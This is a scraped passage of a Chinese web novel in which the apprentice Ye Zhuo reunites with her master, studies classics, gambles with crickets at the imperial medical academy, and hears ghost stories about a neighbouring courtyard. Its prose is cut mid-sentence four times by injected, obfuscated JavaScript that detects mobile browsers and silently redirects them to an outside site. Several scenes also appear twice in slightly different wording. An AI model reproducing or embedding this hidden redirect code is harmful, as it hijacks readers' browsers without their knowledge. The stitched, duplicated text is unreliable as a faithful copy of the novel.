叶无声颇有些无奈,“为师几时骗过你?” “那三年以来,阿灼寄去的信件,为何全都石沉大海,一封也没有回过?” “朝廷命官的住址受到严格保密。古川来的信,往往到不了上京就被截下……!” 话音未落,叶灼张手扑上来。 叶无声身子一僵。许久未感受过的温度,如一阵暖风闯入怀中。双臂环绕脖颈,硬生生将他往前带去。 整个人便像棵压弯了枝丫的树,任由她挂上梢头。 “阿灼,你这是……” 叶灼手上动作很紧,轻掐他的后背,似是出于报复,却又舍不得用力。 “师父你再忙,怎么就不记得往家中捎信?整整三年!您可知阿灼是如何熬过的这三年?”她越说越哽咽,音量却是愈来愈小,“丹青阁都长草了,师父还没有回来,阿灼还以为,还以为师父……” 叶无声僵了良久。颈间润湿一片,始才缓过神来。微微弯腰,令她脚尖可以着地。 靠在他肩头,啜泣着,尽管极力抑制,身子仍不住地抖起来。 哭了? 心猛地揪紧,双手终于记得抬起。极其生硬地,一下下拍着她后背。 “是为师考虑欠妥,让你忧心,是为师的不是。”他柔声安抚,转而道,“朝廷各派势力角逐,一言一行,往往有千百双眼睛盯着你。初入京时,为师步步如走在刀尖上,自身尚且难保,更不敢轻言保你。” “阿灼不要师父保护!阿灼只想陪在师父身边,哪儿也不想去,呜呜呜……” 他叹了口气,拭去她的泪。 三年前的她,个头只接近自己胸口,现在已然长高许多,像是个大姑娘了。虽然脸颊看起来肉肉的,后背却没有一丁点肉。 他给她的月钱从不少寄,这个丫头,到底将钱花去什么地方了? “你已经长大了,即便没有师父,也要学着照顾好自己。” “阿灼不要长大,阿灼只想要师父陪着。” “可师父不能一直伴你左右。”他扶着她肩头,神情复杂,“记得为师曾说过的么?” 叶灼抬眸,抽噎着用力点了点头。月华流转,照得泪光盈盈。 师父说过的话,她始终牢牢记在心里。 “阿灼……不能为师父活着,要为自己而活。” 话虽如此,对彼时的叶灼来说,命中不过一个师父。 叶灼不明白,也不觉得自己活在世上,该有什么远大的追求。 她只知她苦等了三年,想要的答案终有了回应,师父还惦念她这个徒弟。若要说同以往有什么不同,无非是这时的她,不想也不甘心再做个拖油瓶。 所以要比别人努力一些,不丢他的脸。做个让他骄傲的徒弟,仅此而已。 自此,叶灼开始了白天啃书、下午啃书、晚上啃书的噩梦生活。 “师父——” 她噔噔噔跑来竹苑,叶无声正在案前啜茶。 “‘莫见乎隐,莫显乎微,故君子慎其独也’,这句是什么意思啊?”叶灼挠了挠头,“君子也要害怕孤独么?” 叶无声头也不抬:“此句意在君子慎独,这里的‘慎’,是小心谨慎的意思。” “为什么一个人时,反而要小心谨慎呢?” “正因在隐蔽之时、细微之处,人愈发容易懈怠,从而邪念横生。身为君子,当以更高准则要求自己,即便一个人独处、没有人注意,也要懂得约束行为,谨言慎行。” 叶灼似懂非懂点头,噔噔噔跑下去。 “师父——” “又怎么了?” “这句,还有这句!”叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15926205|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灼指了指标红的句子,“‘天地不仁,以万物为刍狗’,天道怎的如此无情,要把世间万物当作刍狗啊?” “读书时,切忌望文生义。”他淡然道,“天地对待万物无所偏爱,任其自然生灭。这并不是说天地轻视万物,而是强调万千生灵皆平等,没有高低贵贱之分。” 叶灼觉得更奇怪了,“可是既没有高低贵贱之分,为何人与人之间却要分出个地位悬殊呢?” “天道只负责创造生灵,奈何俗世之中,人生来有欲念。” “那欲念是好的东西,还是坏的东西呢?” “饮食男女,人之大欲存焉;死亡贫苦,人之大恶存焉。欲念本不分善恶好坏,关键在于生而为人,能否克制欲念,不被欲望所驱使。此谓之‘克己复礼’。” “噢……”叶灼心中嘀咕,做君子真麻烦,净讲究繁文缛节,活得也太累了。总不能让她连食欲都克制吧? “当然,”他放下茶盏,“食欲可以不用。” 叶灼打了个激灵。师父怎么会读心术? 皇城转角,群臣列队上朝。紫绯绿青四色,各代表不同品阶的官员。 她从中找到一袭绯色官袍,捧着书急急赶来:“师——” “现在是早朝时间!” 但见她一脸委屈巴巴,语气便软下来:“以后切记,不要这么早来寻我。” 叶灼:“那要是有急事找师父怎么办呢?” “急事瞒不过我,瞒得过我的不急。” “哦!” 午时刚过,叶无声当值。 “师父——” “……更不要跑来太常寺。” 叶无声正在书房阅公文,揉着太阳穴,颇有几分头疼。 “阿灼,简单的你自己细品,读一遍不行就两遍,再不行就去找注解,不要什么都来问我。” 叶灼挠了挠头,“可是是师父说什么都可以来问呀。那句话叫什么来着,人要‘敏而好学,不耻下问’!” 她得意洋洋等着褒奖,想不到自己都可以融会贯通了。 却见他满头黑线:“不耻下问不是这么用的……罢了,你问吧。” “这句这句!”她指了指皱巴巴的书页,“‘躬自厚而薄责于人,则远怨矣’。” 叶无声单手支着头,反问:“你觉得是什么意思?” “我猜……是多责备自己,少责备别人!” 不过古文里的弯弯绕绕这么多,想来又是她理解错了吧?师父怎么不说话,是不是她扯得没边了? 叶无声运笔不曾停歇,淡淡道:“不是知道么。” “我这不是不确定嘛,嘿嘿。”叶灼不好意思地吐吐舌头,“可是师父,先贤说的话,难道就值得采信么?” “先贤箴言未必是至理名言,但多少有可取之处。孰是孰非,还要靠你自己去判断。须知纸上得来终觉浅,绝知此事要——” “要躬行,知道了师父。”叶灼下巴抵在桌上,侧过脸,“那师父呢?就连师父的话,也不完全可信么?” 叶无声笔锋一顿。 抬眼见她马尾散乱,鬓发自然垂落,笑容懒散。棕色的瞳仁亮晶晶的,朝他望过来,仿佛等待他的答案。 28.积羽(八) “阿灼,天下之大,你能相信的只有自己。”叶无声语重心长道,也不知她听进去没有。 余光瞥见叶灼伸出手指,沿着他脸的轮廓,绕了一圈又一圈。 他的轮廓很深,狭长的眼尾微微上挑,睫毛低垂。 云烟灰色的瞳孔,似那晕开的水墨,隐含江南烟雨朦胧。透过雾气蒙蒙,隐隐看见绵延起伏的楼台,不由得让人想要走近,却描摹不出天晴之后,究竟是副怎样的景色。 鼻梁挺而直,薄唇紧抿,颜色却极其淡。如他的肤色一般,只有淡淡的血色。 这样一张无瑕的脸,为何却总不爱笑呢? 指尖停落于他的眼下。师父日夜操劳,不但气血不足,看来睡眠也不好,都有黑眼圈了啊…… “师父原先是白发,为何来了上京,就成了黑色呢?”叶灼漫不经心问。 “在朝为官,以白发示人,多有不便。” 叶灼偷笑,原来师父也爱臭美啊。 叶无声是少白头。 在叶灼印象之中,她的师父总是一头银丝如雪,加上喜好穿素色,衬得整个人更加苍白如纸。丹青阁的来客每每见到他,一眼便印象深刻,以为他是大隐隐于市的活神仙。 可师父好像不喜欢这点,自叶灼能够望诊以后,便极少出面。 其实叶无声用黑豆染发的时候,叶灼曾误打误撞地看到了。 当时她贪玩去了后山,无意见他在小溪边洗头,躲在石头后面偷偷地看。那满头绸缎般的银色长发,铺在水面上像积了一层厚厚的雪,染了足足两个时辰才染完。 那之后不久,叶无声就去了上京。 叶灼没好意思告诉他——其实她觉得,师父还是白发的时候更好看。虽然黑发也美得惊人,可那是另一种美。 少了几分出尘飘逸,多了几分阴郁晦涩,这么久还是看不习惯。 “你一直看着我做什么?”叶无声停笔,终于忍不住发问。 “师父好看啊。” 叶无声一时语塞。不好好读书,竟然当他的面开小差。“不过是两只眼睛一个鼻子一张嘴,也能看得津津有味?” “师父你生得这样好看,怎的平时不多笑一笑?” “……我又不是卖笑的。”叶无声从角柜里拿出一本书,丢给她。 “时间不等人,你要是实在闲,得空把这本书拿去看。” “《容国秘史》?”叶灼好奇地摊开。 “光懂得礼仪规制,足够应付待人接物,却不足以让你通晓人事。要想在上京立足,理当博古观今,成一家之言。” 叶灼挠挠头,什么意思?听不懂。 “依旧是两月时间,”他道,“不要求你一字不差背下来,但要求熟读、精读。” 叶灼翻了几页,顿时兴致大起。这本书足足有四卷《时方妙用》那么厚,里头囊括自始祖灵帝开疆拓土,尔来两千七百年的历史,像说故事一样娓娓道来,有的页面还配有图画。这和看话本子有什么区别? “多谢师父!” 叶无声扫她一眼:“记得,是熟读、精读。两月以后,我会考你内容,不会的罚抄,而且要抄到会为止。” “啊?!” 呜呜呜,这和背有什么区别?话本子就算再有趣,要她斟字逐句装进脑子里,便什么都索然无味了。 “师父啊,饶了我吧!徒儿犯了什么错,要背这么多书……” 嘴上埋怨,比起那些拗口的古文,还是这本书要有意思些。一旦开始看,便日日夜夜不离身。 叶无声原本只在竹苑留一个时辰,由于每日被叶灼缠着追问各种野史,渐渐拖到两个三个时辰。公文批不完只好带回去批,手都要冒烟。 鉴于孜孜不倦的打听,叶灼惊奇地发现——古往今来,原来有这么多八卦! 譬如,黎亲王从前有个情人。 也就是卫明川的亲生母亲,乃是一名异域王姬。好巧不巧的是,圣上亲征西戎时相中了她,便将其纳入宫中,封为逦美人。 相传逦美人善妒。皇后娘娘不能生育,正是因被她下了巫蛊。皇后娘娘知情以后,一杯毒酒赐死了她。 中原和西戎的关系,就是从这时候开始恶劣的。借着此事,中原还与其大打了一仗,闹得水火不容。 后来卫明川被接回上京,便有了王世子西征、助西戎平羯乱。因为战功显赫,以至于受到圣上忌惮。 西戎和大容这场仗,前后打了整整十一年。 黎亲王再娶妻妾,背负上“抛妻弃子”的骂名。东窗事发,还是难免受巫蛊之祸牵连。 难怪卫明川和他那么不对付了。叶灼心想,亲娘有难,亲爹胆小怕事,若换作她,才不会认这样的爹。 可是听卫明川提起他娘,能让他这般想念,定是位爱孩子的母亲。逦美人被迫与亲子分离,非但没有恨意,反而移情那老皇帝,成了众矢之的? 总感觉哪里怪怪的。 这些时日,叶灼到处搜罗来不少史书。有藏经阁的、竹苑书阁的…… 经过比对,发现诸多史实,竟与师父给她的这本对不上。 大部分对此事仅是一笔带过。没有记载皇后娘娘赐死逦美人,更没有皇帝强抢这段。 这是怎么回事呢……? 带着问题私下去问,叶无声啜一口茶,答:“容国的史书,多数由史官所撰,你看到的那些,大都是经缩减美化过的版本。”顿了顿又道,“为师给你的这本发行于民间,不可轻易外传。” 叶灼想了想,说白了就是野史嘛。 “那《容国秘史》中所写,难道就是真知灼见么?” “眼见未必为真,耳闻更未必为实。既是口口相传,不免有杜撰。真知灼见,还要靠你自己去探寻。” 日子便这样一天天过去,叶灼在太医署已经待了个把月。 有上回那档子事,许昭昭吃了瘪,不敢轻举妄动;加之薛懿不在,没有人陪他作威作福,总算收敛了些。 叶灼喜欢说话,更喜欢听别人说话,很快与众人打成一片。 “咚——”放课钟响,课余时间。 走廊外不大的空地,学子们围坐一团。 “咬!咬!咬!” “提!” 青色蛐蛐儿重伤倒地,输家垂头丧气:“又输了,输光了!” 他们怨念满满地掏出银子,递给右边一派人。 “轻三重四破烂七,这伤少说要养七日!”赌局胜者,自然得意洋洋,扔出包银子,“喏,一半儿是叶老大的功劳!” “我都说了嘛!夜游侠屡战屡胜,从无败绩。”叶灼上嘴啃了下,将银子收回兜里,捧起地上的小小功臣。 “叶老大,你真是赌王啊!往后我们也要跟着你混!” “这还要多亏了它。” 叶灼得意一笑,点了点赤金色蛐蛐儿的脑门。哪知它蹬腿跳起,竟让她抓了个空。 就要捕获之时,夜游侠急拐往左,原是假作诱敌,直接令她摔得狗啃泥。 “好哇,辛苦把你养肥,结果胆也跟着肥了?”叶灼擦了擦嘴角,眼中闪过一抹厉色,“想造反,非抓住你不可!” “叶老大,加油啊!” 叶灼伸手猛扑,小虫甩着尾巴逃窜。 “抓到了!”这回没有抓空,反而抓到一缕胭脂色裙摆。 绣有几朵红梅的细软布料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈拓戒尺一拍,“说,谁带的头?!” 叶灼于是心虚地低下头,默默站出来。 “又是你!” 手心立马挨了一板子。 “叶灼啊叶灼,叫老夫说你什么才好?”沈拓不住地摇头,“从前殴打同门、顶撞老夫,现在竟然将赌博之风带进课堂!你看看你,哪有一点学生的样子?” 叶灼习以为常般脱口而出:“博士训斥得是,弟子自去领罚,下次不敢了。” “还有下次?”沈拓颇有恨铁不成钢之意,“你不学无术也就罢了,关键是品行要端正!再有影响其他学子的行径,莫要说是你师父,就算是天王老子来救场,太医署也断留不得你这样的学子!” 叶灼一听跪了下来:“沈博士,弟子真的知错了,往后定不会再犯!您千万别赶我走!” 沈拓暗自道,只有这招能治得住她。 劈头盖脸一顿骂,又罚她抄五十遍《弟子职》,才终于放她进了课室。 “这堂课,我们讲《素问》。”沈拓稍微平息怒火,捋着胡须,开始滔滔不绝。 叶灼盯着手中瓷瓶,想到刚才的事,愧疚不已。 难得忙里偷闲,连着惹下两桩祸事,又给师父丢人了。江小姐末的眼神并不像原谅了她,需不需要再去郑重道个歉? 说到底,夜游侠伤了别人,也是她这个做主人的责任。可是江小姐不愿收礼又不肯让她治脸,要怎么样才能表达歉意呢? 29.积羽(九) 江弗及撇开她递伤药的手,捂着脸,转头就跑。 “江小姐!”叶灼咬着食指,只剩下不知所措。 沈拓左手揣戒尺叆叇右手端书卷,大步经过廊前,却见地上摆着竹笼,装有一黄一青两只蛐蛐儿。喝道:“学堂乃清静之地,岂容你们胡来!” 众人打了个寒噤,拍了拍叶灼的肩:“叶老大,你自求多福吧。” 眼看着沈拓气势汹汹逼近,戒尺一拍:“说,谁带的头?!” 众人作鸟兽散,叶灼心虚地低下头,默默站出来。 手心立马挨了一板子。 “叶灼啊叶灼,叫老夫说你什么才好?”沈拓不住地摇头,“从前殴打同门、顶撞老夫,几番惹事都有你,现在竟然将赌博之风带进课堂!你看看你,哪儿有一点学生的样子?” 叶灼习以为常般脱口而出:“博士训斥得是,弟子知错了,下次不敢了。” “还有下次?”沈拓怒道,饱含恨铁不成钢之意,“再影响其他学子,漫说你师父,就算天王老子来救场,太医署断容不得你这等不学无术之徒!” 叶灼一听跪了下来:“沈博士,弟子这就去领罚,以后定不敢再犯!您千万别赶我走!” 小不忍则乱大谋,紧接而来劈头盖脸一顿骂,叶灼也就乖乖挨着。 这半年来,她日夜刻苦钻研经书,针法课上认真许多,成绩总算一点点爬上去。只是因为诸如文史之类杂七杂八的课不佳,排名上仍落人一截。 不过相比半年前,已经好上许多了。 还有重要的事做,可不能这时候前功尽弃。叶灼想道,捏紧了拳头。 沈拓又罚她抄五十遍《弟子职》,才终于放她拂袖进了课室。 学子们仍叽叽喳喳。见到叶灼紧随其后,许昭昭带头,不约而同哂笑起来。 叶灼白了他们一眼,灰溜溜回到座位。 “不许笑了啊。”沈拓清了清嗓,“这堂课,我们讲《素问》。” 稍微平息怒火,捋着胡须,便开始滔滔不绝。 听了一会儿,叶灼又开始晕头转向。 手里拿着伤药,想到刚才的事,不免生出些愧疚来。 难得忙里偷闲,连着惹下两桩祸事,又给师父丢人了。适才江小姐末的眼神并不像原谅了她,需不需要再去道个歉? 说到底,夜游侠伤了人,也是她这个做主人的责任。可是江小姐不愿收礼又不肯让她治脸,究竟怎么样才能够表达心中歉意呢? 只听得“叩叩”两声,是有人敲桌板发出的声音。 前座同窗没有转头地轻声唤她,“上回答应借我的话本……你看完没有?” “噢,早看完了。非得现在要么?”叶灼说道,头埋进抽屉扒拉了好一会儿。 “昔在黄帝,生而神灵,弱而能言,幼而徇齐,长而敦敏,成而天……”沈拓念啊念,时不时眯起眼,瞄向角落这边。 叶灼轻敲前面女孩的肩,把课本架在桌上打掩护,然后往前靠了靠。桌下两只小手,鬼鬼祟祟传递着什么。 “是以嗜欲不能劳其目,淫邪不能惑其心,愚智贤不肖不惧于物……” 沈拓举起叆叇,“叶灼!” 但见她眼神飘忽,动作一收。沈拓再忍无可忍,敲着戒尺下了讲坛。 “拿出来。” 叶灼闷不吭声。 “拿出来!” 猛地站起,小人书来不及被收进抽屉,不小心“啪嗒”落到地上。 她心中咯噔一声,这下惨了。 沈拓掷来个白眼,就要弯腰去捡,难为他一把老腰。任她如何眼神哀求,如何死揪着不放,这回断不会心慈手软,用力夺了下来。 哼,真欺他年纪大老眼昏花不成。 随意翻开一页,本以为是普通的话本,就像叶灼平时上课夹在书里看的那样。 这不看不知道,一看着实把他吓一跳。 众目睽睽之下,沈博士“唰”地整个人从脖子红到了耳根。紧接着变白,遂即是一阵红一阵白,像个泡囊了的柿子。 “啪”地合上书,举叆叇的手竟然抖起来。 叶灼拿课本挡脑袋,生怕看到他的表情。 “你,你……”沈拓颤巍巍道,剧烈咳嗽几声。指着她,却是一句话说不出口。 “是以嗜欲不能劳其目,淫邪不能惑其心!” 沈拓一气之下,怒罚她把这句话抄个八百遍。然后像提什么秽物般没收那本书,径自出了门。 叶灼心道完蛋,这下真要卷铺盖走人了。 小人书“啪”一下,被摔到叶无声面前。 “叶少卿,这都第几回了?”沈拓拍着手背气急,“叶灼这个丫头,老夫是真管不了了!” 叶无声递来一杯茶,面露窘色,“阿灼自幼喜欢看些话本,虽不喜学医,那些基础的医学药理过去我都让她攻读过。爱看书是好事,博士何须如此动怒?” “爱看书?”沈拓只觉荒诞,将那本“赃物”推到他面前。 “你再仔细看看,她成天看的都是些什么!” 拾起那本巴掌大小的册子,封面画着草药图和五行八卦图,不仔细看甚至没看出来猫腻。分明是新绘制不久,像是人为剪裁装订上,轻易就能撕开。 翻了个面,叶无声顿时脸色飞红。 “飞……飞花艳想?” 内容可想而知,更是露骨。有的页数配有图画,简直不堪入目。 看了几眼面红耳赤,连忙合上,笑得勉强:“沈博士年事已高,勿要与小儿置气,生气伤身……” “放屁!”他一拍大腿,震得叶无声一个激灵。 却听他震怒:“一个二个都欺我年纪大,你们指不定比得老夫身体康健!叶少卿,太医署的学风,如今被带得歪成了什么样子,你难道看不到么?!叶灼要喜欢什么,我不拦她,但她不能骚扰别的学子,更不能影响老夫授课!上个月斗鸡走狗、打架斗殴,现在竟然聚众开起了赌坊……再这样下去,等她把整个太医署掀翻,老夫这脸面还要不要了?!若是传出去,世人说太医署尽培养赌徒恶霸,朝廷的脸面还要不要了?” 耳边狂风呼啸,叶无声已是汗流浃背,不知作何应对。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶灼迷惘地眨眨眼,“阿灼不知。” 她平时总惹沈博士生气,定是那花胡子老头又找师父告状去了。还能是什么好话么?无非是诸如“孺子不可教“、“朽木不可雕”云云了。 “他和我说,你是个极其聪慧的孩子。一年后的业成式,他对你寄予厚望。” “当……当真?” 叶无声点点头。 “可是,沈博士那么讨厌我,这怎么可能呢?”叶灼闻宠若惊,有点儿不敢相信,“这真的是他的意思?” “沈博士平时是严苛了些,可所有博士里,就数他最为惜才。面子上挂不住,若不是十分器重,怎会处处忍让,又将它还与你?” 他说着,将小人书往前推了推,目光意味深长。 封皮上《飞花艳想》四个字赫然在目,叶灼感动得眼泪都快掉了。 “这种书,以后少看。” 30.积羽(十) 沈博士他……那样好面子一个人,竟然屈尊为她平息祸事么?而且还这般不计前嫌,托师父告诫,又将话本还与她? 这可是《飞花艳香》,是明令禁止传阅的宫廷禁书啊。 叶灼感动地眼泪都要掉了:“多谢师父!” “你该谢的人不是我。”叶无声淡然望着她。 叶灼目光炯炯。既然连沈博士都为她妥协到这种地步,“阿灼自当勤勉精进,不负他和师父一片苦心。” 叶无声淡然一笑:“回去吧。” “是!” 她怀抱着书,背影雀跃,好像刚刚得到这世间最大的肯定。 叶无声浅啜一口茶。对叶灼如此轻信别人这点,深表无法理解。 忍不住长叹,沈拓哪儿有那么好心? 京兆尹授意除名? 是有这么回事,只是百般相求者另有其人。他这个做师父的,不知挨了多少回骂,才换来她在太医署的一席之地。 妥协?分明是自己一次次在妥协。允她留在上京,替她摆平祸事,最烦的莫过于掩人耳目。 就说这本书,要不是他大费周章替她讨要回来,早该被当作赃物一把火烧了。沈拓容忍她至今,真以为只是单纯器重么? 兜兜转转,这个小丫头终究还是执着于,走上他为她绕开的不归路。 现如今,这不归路,却成了唯一的生路。 …… 回书房的路上,叶灼哼着小曲儿。 细细想来,沈博士不知被她气个半死多少回,回回都说要赶她走,却不曾真的实施。漫说他课讲得如何,比之其他学子,的确为她操碎了心。 叶灼痛定思痛,决定以后上课认真一些,再想睡觉也要忍住! 此时不知绊到什么,猛一个踉跄。下巴磕在石子路上,摔了个狗啃泥,疼极了。 在学堂倒霉,回来还倒霉,真是气死她了!叶灼爬起来,朝身后踹了一脚:“什么玩意!” 那东西“叮叮咚咚”被她踢到墙角,身后还有几片形状不一的碎片。角落里积满灰的地方,躺有一只破损的灯台。 想是曾经被土盖着,经前几日大雨淘洗被翻了出来,格外锃亮。 叶灼拾起一片左右端详,愈发觉得眼熟。 “嘶。” 指尖传来微疼,才发觉食指不知何时被割破。血珠朱砂似地坠落,渗入碎片的缝隙里。 脖颈一凉,数月前的画面闪回眼前。 那个夜晚,那个疯女人…… 就是在这处拐角,有人掐住她的脖子,她于挣扎之中,丢下的这盏油灯! 为什么它会在这里?这一切,难道不是梦么? 可如果是真的,那夜她醒来,怎会平白无故出现在榻上? 按常理来说,油灯落地会起火,除非当时下着雨,或者是—— 有人在她晕倒之后,扑灭了火! …… 难道是师父?可那夜问起,师父他分明否认了。 …… 可是依当时情况,能及时扑灭火势而不引起骚动的,除了夜巡的师父,再没有别人了啊! 师父为什么不如实相告呢? 叶灼咽了咽口水。 自打做了那个噩梦,时隔半年,她一直不敢再翻墙去看。不过天还没黑,就算有鬼,也不该白天出没吧? 以防万一,叶灼跑到屋内抄起扫帚以作防身之用。然后搬来块大石头,壮着胆踩了上去。 放眼望去,此地依旧是处废院。 杂草丛生,靠近门口边的似乎被修剪过。石砖铺满青苔,木门的漆面已然剥落,十分老旧。 因着这堵墙把里外隔开,太阳照不过去。正值梅雨季,空气中一股子霉味。 一墙之隔,宛如两个世界。 叠起来的木桶被转移了位置,上次是在窗下,这回直接堵住吱呀响动的门,桶壁贴有封条。周围还算干净,说明不久前有人来打扫过。 窗台上放着一束花,通体洁白。好像是束雏菊? 是谁放的呢? 不知怎的,这所院落,给她一种极其不舒服的感觉。莫名有点儿冷,还是赶紧进屋吧。 夜晚,一灯如豆。 笼中蛐蛐儿躁动地吱吱叫,叶灼坐在书桌前,查阅《容国秘史》。 “找到了!”她一直想查的有关太子妃的资料。 “太子妃杨挽,上柱国杨峥之女,久慕太子景。永乐元年,由皇后娘娘安置于东宫,册封太子妃。之后为景诞下一女,名曰褚寰。后因谋害太子景获罪,被囚永巷,永失自由……” 被囚永巷,杨挽…… 叶灼心头一惊。 ——“殿下,您不认得我了?” ——“我是挽挽啊。” 可是太子妃她,不是早就过世了么?总不可能真的闹鬼吧。 “看什么呢?这么入神。” “史书啊,还能是什……”叶灼漫不经心答道,突然意识到不对,转过头。 却见卫知瑶手提果篮,微笑着瞧她。 “连门都不关,不怕有贼进来啊?” “瑶姐姐!”叶灼大喜,忙掩上书,“嘿嘿,我忘了嘛,所幸来的不是贼。今日怎么想着过来?” “是宋娘特地让我来谢你。”卫知瑶道,“自打上回你替小郡主治了挑食病,她便将鼎香居的木樨糕抛之九霄云外,天天都在念你的茯苓八珍糕呢。” “太好了!”叶灼高兴地拍手,“什么时候有机会,我再给她换换口味。” “正好前几日我回了趟长岛郡。你要的东西,我一并给你拿了来。”卫知瑶说道,晃了晃手中果篮。 长岛郡盛产瓜果,夕山的荔枝尤为出名。 叶灼馋了许久,剥开一个,咬下去汁水四溅。 “果然清甜!” 从前卫知瑶来寻她,要么说一些咒禁科的见闻,或是宫里宫外的八卦。 亏得从瑶姐姐口中得知了许多事,加上最近通读史书,叶灼大抵明悉了当下时局。 今日一如既往,说到太子出斋的事情。 “昨日圣上下旨,允太子回东宫。小郡主别提有多开心了。今后这孩子总算有个伴,不用我和你介师姐整天操心,宋娘也可以轻松一些了。” 事实上叶灼对太子的了解,除他名叫纳兰景外,仅限于他是个傻子。 按历史情况来说,太子没能力,其他皇子一般要出手争权的。 ——可是纳兰景不仅活过了三十岁,至今还安坐储君之位。 令叶灼不明白的是,当今圣上不是他亲爹呀!为什么堂堂九五之尊,执着于立一个没有血缘关系的痴儿为太子呢? “瑶姐姐,咱们大容,一共有几个皇子?” “四个。” “竟然只有四个?”叶灼点着下巴,“我只知道太子和三皇子,还有两个是谁?” “二皇子名叫纳兰赫,为已故的逦美人所生。刚出生不久便被送去西戎,修了佛法。” “那四皇子呢?” “四皇子尚年幼,正在国子监读书,乃是薛嫔之子。” “薛嫔……我记得是三皇子之母。她一人竟生了两个孩子?” 卫知瑶点头,“薛嫔生前之所以受宠,除却薛家世代名门望族以外,有一部分原因,便是她诞下那两名子嗣。若不是因着万邦朝会小产,原本还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972110|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要多出一位五皇子。” 叶灼不由得感慨:“后宫的女人怪可怜的,一生如笼中鸟般,只能靠子嗣博得出头日。” “话可不能乱说。”卫知瑶示意噤声。虽然她也觉得,但是…… “薛嫔这才薨逝没几个月,皇后娘娘怜四皇子孤幼无依,收养了他。你这话万一被别有用心的人听了去,惹得娘娘不高兴怎么办?” 叶灼明白她的意思,点了点头。想起来师父的话,君子慎独。 “对了瑶姐姐,永巷是个什么地方?” 话题转折得突然,卫知瑶怔了片刻:“你问这个做什么?” “噢,我在书上看到的,随口问问。” “永巷……就类似于冷宫吧。以前是宫女的住处,不知何时成了用来幽禁失势妃嫔的小巷。” “这个地方,现在在哪里呢?” “大抵离后宫不远。至于具体位置,只有皇宫里的一些人清楚。” 叶灼点了点头,看来不会是在太医署附近。 “那个,我还想问问,隔壁的院落有没有出过什么事情?” “你是说杂物间?”卫知瑶思虑片刻,“早前那里还是藏经阁的时候,房梁因为老化塌陷,一名学子路过借书,不慎被砸到了。” “这个我知道,介师姐之前和我提起过。” “怎么,你是遇上了什么怪事?” 叶灼警觉,难道在她之前,其他学子也有过类似经历? 似是读出她的疑问,卫知瑶道:“继事发之后有段时间,太医署的确怪事频发。比如住在那附近的学子,夜晚烛火总是无端熄灭,噩梦连连,异样响动不断。还有……” 附于耳边,她脸色蓦地一沉。 “啼哭声。” 叶灼闻言心惊。 难怪住了这么久,周围怎么好像这么冷清。合着自己是摊上个凶宅,压根没人住啊! “每个月总有那么几天,半夜传来啼哭声,扰得学子们不得安宁,最后全都搬走了。都说啊,是学子的魂魄徘徊于此,不愿意离去。”声音越来越小,“后来太医署整改,有人翻过那堵墙去看……” 而叶灼额角滚下汗珠,像是根随时要断裂的弦。喉头蠕动,强压下惧色。 不难看出,她应是害怕到了极点。 忽然肩头被猛地一拍。“哇!” “才发现,不过是几只野猫啦!”卫知瑶笑起来。 “瑶,姐,姐!” 居然故意吓唬自己!叶灼鼓起腮帮子,张牙舞爪便挠了上去。 但见她笑颜灿烂,有那么一瞬间,好像看到了卫明川。 不得不说,他们兄妹二人在某些方面,属实有些相像。只不过卫明川喜怒皆形于色,瑶姐姐则更为收敛,很少见她笑的这么开心的样子。 “瑶姐姐,我觉得你……好像不知从什么时候起,变了很多。” “你指什么方面的?”卫知瑶笑得眼角含泪。 “性情吧。”叶灼道,“好像变得更诚实了。” “有么?”她不假思索:“可能是和你待在一起的缘故吧。” 叶灼有点儿难为情,“瞧瞧,你又在调侃我了。” “哪儿有!我是认真的。灼妹妹,你今晚是怎么了,突然问这么多稀奇古怪的问题?” “可能,也许,大概,最近在赶课业进度,压力大?”叶灼笑呵呵道,想起书还没抄,忙不迭翻出纸笔。 光抄书未免太无聊了,“不然你给我说点别的吧。” 卫知瑶点点头。先前来看望她都是在打盹,最近读书倒勤快许多。 “想听什么?” “我都行,说说你的事吧。” 31.蜕变(一) 叶灼心脏“怦咚怦咚”跳着,紧绷到了极点,像是根随时要断裂的弦。面上强压惧色,仍不免汗珠滚落。 忽然肩头被猛地一拍。“哇!” “才发现,不过是几只野猫啦!”卫知瑶笑起来。 “瑶,姐,姐!” 居然故意吓唬自己!叶灼鼓起腮帮子,张牙舞爪便挠了上去。 但见她笑出眼泪来,有那么一瞬间,好像看到了卫明川。 不得不说,他们兄妹二人在某些方面,属实有些相像。只不过卫明川喜怒皆形于色,瑶姐姐则更为收敛,很少见她笑得这么开心的时候。 “瑶姐姐,总觉得你这半年来,好像变了许多。” 